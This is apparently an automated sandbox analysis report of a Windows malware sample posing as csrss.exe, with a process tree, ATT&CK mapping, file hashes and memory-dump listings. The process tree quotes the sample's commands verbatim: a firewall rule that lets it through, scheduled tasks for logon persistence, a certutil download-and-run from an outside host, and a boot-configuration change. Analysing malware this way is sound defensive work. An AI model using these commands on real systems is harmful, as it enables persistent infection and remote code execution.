PID 2152 wrote to memory of 2552	2152	csrss.exe	bcdedit.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2804

C:\Users\Admin\AppData\Local\Temp\8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe"
2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2484

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:2548

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:2672

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Manipulates WinMonFS driver.
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2152

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:668

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:1092

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1412

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:2552

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240601222132.log C:\Windows\Logs\CBS\CbsPersist_20240601222132.cab
1⤵
- Drops file in Windows directory
PID:2476

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarBBD7.tmp
Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll
Filesize
1.5MB

MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll
Filesize
163KB

MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
8bfc68524ec5b5da12ec06b977396d2d

SHA1
caf436e06a8f6fe7188b05870ebbe1f06fcdae00

SHA256
92f658b313e509147deebb1f168ee8cc1e979c9abc1be9000025ac3e10e7e8bf

SHA512
7fbe3b70b8ff320b7bb768920af9911fc1378035d9e73a0d59003b4dd65dc3f29408ce211338a37d33dde1e859d136134ef4d6dd0e71b506153280cac0f35264

Download Submit
memory/1412-38-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1412-24-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/2152-408-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/2152-545-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/2152-18-0x0000000003530000-0x00000000038D7000-memory.dmp

Filesize
3.7MB

Download
memory/2152-586-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/2152-585-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/2152-548-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/2152-547-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/2152-546-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/2152-544-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/2152-543-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/2152-96-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/2152-219-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/2152-542-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/2152-347-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/2152-540-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/2484-17-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download
memory/2484-8-0x0000000003440000-0x00000000037E7000-memory.dmp

Filesize
3.7MB

Download
memory/2804-0-0x0000000003470000-0x0000000003817000-memory.dmp

Filesize
3.7MB

Download
memory/2804-1-0x0000000003470000-0x0000000003817000-memory.dmp

Filesize
3.7MB

Download
memory/2804-2-0x0000000003820000-0x0000000003F16000-memory.dmp

Filesize
7.0MB

Download
memory/2804-3-0x0000000000400000-0x0000000000B10000-memory.dmp

Filesize
7.1MB

Download
memory/2804-5-0x0000000003820000-0x0000000003F16000-memory.dmp

Filesize
7.0MB

Download
memory/2804-6-0x0000000003470000-0x0000000003817000-memory.dmp

Filesize
3.7MB

Download
memory/2804-7-0x0000000000400000-0x0000000000B10000-memory.dmp

Filesize
7.1MB

Download
memory/2804-4-0x0000000000400000-0x000000000313B000-memory.dmp

Filesize
45.2MB

Download